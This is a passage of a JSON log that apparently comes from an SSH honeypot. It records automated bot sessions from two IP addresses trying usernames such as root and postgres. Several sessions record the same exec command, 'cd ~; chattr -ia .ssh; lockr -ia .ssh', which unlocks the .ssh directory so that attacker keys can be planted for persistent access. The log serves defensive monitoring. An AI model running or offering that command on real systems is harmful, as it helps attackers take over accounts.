  "src_ip": "157.245.34.56",
  "src_port": 53632,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:03:19.197324+00:00",
  "ended_at": "2026-08-26T15:03:20.259431+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8bcdf282-e66a-4095-9db8-14fd6ca479e6",
  "name": "prairie-upland-tern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40808,
  "username": "postgres",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 746,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:01:57.463304+00:00",
  "ended_at": "2026-08-26T15:01:59.089304+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2273
 },
 {
  "id": "4c521e2c-243f-487c-ac3c-46c306e2611e",
  "name": "feathered-daring-salmon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40810,
  "username": "postgres",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:01:36.496157+00:00",
  "ended_at": "2026-08-26T15:01:37.380498+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0848e902-05b2-401b-b626-d708e9461d50",
  "name": "tangled-prickly-cicada",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 60838,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 295,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:01:36.456019+00:00",
  "ended_at": "2026-08-26T15:01:38.513231+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "72a97f11-e284-47ec-8328-23a7841d0444",
  "name": "electric-icy-osprey",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40809,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:01:33.430092+00:00",
  "ended_at": "2026-08-26T15:01:34.974572+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a336bf3a-00b9-4bef-ab8d-b8bebc60641e",
  "name": "daring-sullen-wren",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 60858,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:01:19.744688+00:00",
  "ended_at": "2026-08-26T15:01:20.589016+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "297597c6-2305-4b06-ae56-c472dae5ebfb",
  "name": "eager-feral-meerkat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 60844,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:01:18.027944+00:00",
  "ended_at": "2026-08-26T15:01:19.156097+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2e5812ff-72c7-4cf4-b2d7-4a5331157272",
  "name": "tranquil-polar-manatee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 64610,
  "username": "seekcy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 302,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:59:39.928637+00:00",
  "ended_at": "2026-08-26T14:59:41.567115+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2277
 },
 {
  "id": "d9067a12-1637-4078-a094-b63beaed67b6",
  "name": "solemn-creaky-elk",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 61212,
  "username": "seekcy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:59:13.867018+00:00",
  "ended_at": "2026-08-26T14:59:15.158829+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6950cee9-b1b9-44ad-919f-ff2cce7095de",
  "name": "fabled-sincere-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40805,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 754,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:59:12.507667+00:00",
  "ended_at": "2026-08-26T14:59:13.746782+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "1f9d2c9c-5765-4152-81f3-e2d6a7211b9c",
  "name": "crisp-brisk-hoopoe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 64618,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:59:11.985575+00:00",
  "ended_at": "2026-08-26T14:59:13.301229+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "de57f171-72c4-40c9-8a4b-ea4235040d50",
  "name": "gloomy-austere-dunlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40807,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:58:50.739552+00:00",
  "ended_at": "2026-08-26T14:58:51.726572+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "51ea4b61-26f8-44e0-9cc4-9d755772172f",
  "name": "wiry-painted-pelican",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40806,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:58:48.100391+00:00",
  "ended_at": "2026-08-26T14:58:49.246147+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e3ee7511-773d-41cf-8664-c3417c9f6ccf",
  "name": "bold-lonesome-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 62892,
  "username": "sftp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 288,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:57:38.476574+00:00",
  "ended_at": "2026-08-26T14:57:40.599679+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2247
 },
 {
  "id": "7ddf590f-de66-464f-b263-0290b9c2417a",
  "name": "ivory-hearty-bittern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 61442,
  "username": "sftp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:57:15.814830+00:00",
  "ended_at": "2026-08-26T14:57:16.518170+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c1ae416f-5c5a-4980-aa77-956246c70449",
  "name": "canny-quartz-wombat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 61426,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:57:13.647308+00:00",
  "ended_at": "2026-08-26T14:57:15.231480+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "897439c2-5925-438a-8b14-2eabc9021a13",
  "name": "fickle-bronzed-vervet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40802,
  "username": "webuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 757,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:56:35.032491+00:00",
  "ended_at": "2026-08-26T14:56:36.307896+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2258
 },
 {
  "id": "093d8a79-093d-4123-a319-8830b9dc5b85",
  "name": "inland-glassy-grebe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40804,
  "username": "webuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:56:13.163965+00:00",
  "ended_at": "2026-08-26T14:56:14.391029+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "059c6847-affe-4d5c-8460-436d3e8c7bac",
  "name": "leafy-steady-goldfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40803,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:56:10.589489+00:00",
  "ended_at": "2026-08-26T14:56:11.650725+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c6f68bac-2808-410e-8b8f-2d45cb853f27",
  "name": "opal-silent-fennec",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 63282,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 287,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:55:31.523076+00:00",
  "ended_at": "2026-08-26T14:55:33.134250+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "d5c9cf8e-cb22-49ae-bf3e-66c747293ab9",
  "name": "misty-silent-pochard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 63292,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:55:06.557526+00:00",
  "ended_at": "2026-08-26T14:55:08.164120+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f447ec7f-1c84-4902-b0ee-e9511fbd6a7e",
  "name": "vernal-gallant-manatee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 63286,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:55:04.989124+00:00",
  "ended_at": "2026-08-26T14:55:05.980304+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "88233d8a-1dbe-4754-bff9-ef02dd88a432",
  "name": "prairie-northern-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40799,
  "username": "alexandre",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 746,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:53:53.004073+00:00",
  "ended_at": "2026-08-26T14:53:54.524521+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2262
 },
 {
  "id": "68f114ed-7155-4e0c-b37b-46c2bf01d142",
  "name": "curious-umber-goshawk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 53736,
  "username": "logviewer",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 291,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:53:35.724921+00:00",
  "ended_at": "2026-08-26T14:53:37.263891+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2256
 },
 {
  "id": "798dfe23-98b4-41c5-b6ac-1dc958da5bc0",
  "name": "autumn-blunt-tern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40801,
  "username": "alexandre",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:53:29.769519+00:00",
  "ended_at": "2026-08-26T14:53:31.852703+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "459dfd39-d19f-4cf8-a297-983805b715bd",
  "name": "glassy-verdant-stork",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40800,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:53:26.354234+00:00",
  "ended_at": "2026-08-26T14:53:28.259195+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "59012252-9462-41e2-8fc1-e0ebe7a5f26a",
  "name": "proud-restless-alpaca",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 53758,
  "username": "logviewer",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:53:11.226958+00:00",
  "ended_at": "2026-08-26T14:53:12.760772+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "27a173f2-c932-4ade-a096-1edf5b852618",
  "name": "patient-meadow-tamarin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 53744,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:53:09.185510+00:00",
  "ended_at": "2026-08-26T14:53:10.646248+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a5ea950c-51c3-4e1a-91ab-c3d39f9eae95",
  "name": "earnest-cosmic-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 50314,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 272,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:51:34.958005+00:00",
  "ended_at": "2026-08-26T14:51:35.881700+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "a2cf6520-00fe-4886-b0c9-c348e7dd0ff1",
  "name": "oaken-serene-salmon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 50334,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:51:19.116654+00:00",
  "ended_at": "2026-08-26T14:51:20.962658+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "06035758-1866-4da6-b5da-5660b7a08885",
  "name": "early-crystal-fennec",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 50326,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:51:17.378826+00:00",
  "ended_at": "2026-08-26T14:51:18.554530+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c7314bfa-f3f5-4b8f-b033-8ec79289284e",
  "name": "austere-sincere-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40734,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 761,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:51:09.138548+00:00",
  "ended_at": "2026-08-26T14:51:10.441004+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "42dbeb4f-c305-4fc9-adee-c67698401c0c",
  "name": "mottled-ivory-goldcrest",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40798,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:50:46.684762+00:00",
  "ended_at": "2026-08-26T14:50:48.301792+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "da699d48-d0b7-4778-aaeb-990f6b13e0e4",
  "name": "frugal-grassy-caribou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40735,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:50:43.443536+00:00",
  "ended_at": "2026-08-26T14:50:45.161923+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b7490650-98ab-4412-ba2f-85d20b650a71",
  "name": "amiable-nautical-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 64768,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 291,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:49:39.026323+00:00",
  "ended_at": "2026-08-26T14:49:40.174581+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "7d3efdf5-42aa-4b4e-928c-1aebea6949d8",
  "name": "autumn-gallant-pangolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 52390,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:49:25.576420+00:00",
  "ended_at": "2026-08-26T14:49:26.510165+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7c3e6b4e-1850-43e1-8b86-0e55bc63657f",
  "name": "patient-verdant-barbet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 52384,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:49:24.079669+00:00",
  "ended_at": "2026-08-26T14:49:25.017035+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b071e9c4-ac61-4511-9399-3afd4d66dcdb",
  "name": "proud-lively-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40731,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 748,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:48:13.256128+00:00",
  "ended_at": "2026-08-26T14:48:14.554042+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "3f4843ca-6988-452a-9d91-6778f499676c",
  "name": "rustic-bold-raven",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40733,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:47:50.602572+00:00",
  "ended_at": "2026-08-26T14:47:52.450661+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "363db9d3-04ef-460d-8d6a-b598dfb87da4",
  "name": "prickly-bashful-hedgehog",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40732,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:47:47.419789+00:00",
  "ended_at": "2026-08-26T14:47:49.108549+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d33947eb-53b3-405c-91a6-f98649ff6c5c",
  "name": "scarlet-mellow-quokka",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 55332,
  "username": "promo",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 302,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:47:42.878274+00:00",
  "ended_at": "2026-08-26T14:47:44.735311+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "e1039607-53cd-4916-ae6a-e550e313b5a4",
  "name": "frosty-somber-penguin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 55932,
  "username": "promo",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:47:26.351133+00:00",
  "ended_at": "2026-08-26T14:47:27.060332+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b1971bc8-9cd9-44d8-bb30-d2c912faf9bc",
  "name": "canny-dappled-eider",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 55918,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:47:24.413032+00:00",
  "ended_at": "2026-08-26T14:47:25.748551+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "79c82dc6-93a6-4f32-a42f-99c5dce541c0",
  "name": "jaunty-seaward-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 52042,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 295,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:45:40.096591+00:00",
  "ended_at": "2026-08-26T14:45:41.726099+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "77a80509-2327-42f1-9be4-aa1ceea799b8",
  "name": "deft-diligent-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 53544,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:45:25.119660+00:00",
  "ended_at": "2026-08-26T14:45:26.099795+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "70c552ec-e249-4a01-b28a-9effcb6a8a6f",
  "name": "lawful-lanky-koala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 53532,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:45:23.537216+00:00",
  "ended_at": "2026-08-26T14:45:24.539169+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "15f36d52-8e35-4540-ae3a-b8462d29a97e",
  "name": "pleasant-blunt-kingfisher",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40728,
  "username": "seekcy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 758,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:45:22.843666+00:00",
  "ended_at": "2026-08-26T14:45:24.423409+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2277
 },
 {
  "id": "ada8b79d-a1fa-47ad-a8eb-38d000cdfa06",
  "name": "watchful-western-caracal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40730,
  "username": "seekcy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:45:00.989319+00:00",
  "ended_at": "2026-08-26T14:45:02.138252+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e4425f06-888b-42cb-b349-9243182ed95f",
  "name": "vivid-vernal-gibbon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40729,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:44:57.579493+00:00",
  "ended_at": "2026-08-26T14:44:59.484652+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "51a1b668-fbdc-429a-b299-8f08552168f5",
  "name": "somber-hidden-osprey",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 62084,
  "username": "alexandre",
  "client_version": "SSH-2.0-libssh_0.9.6",
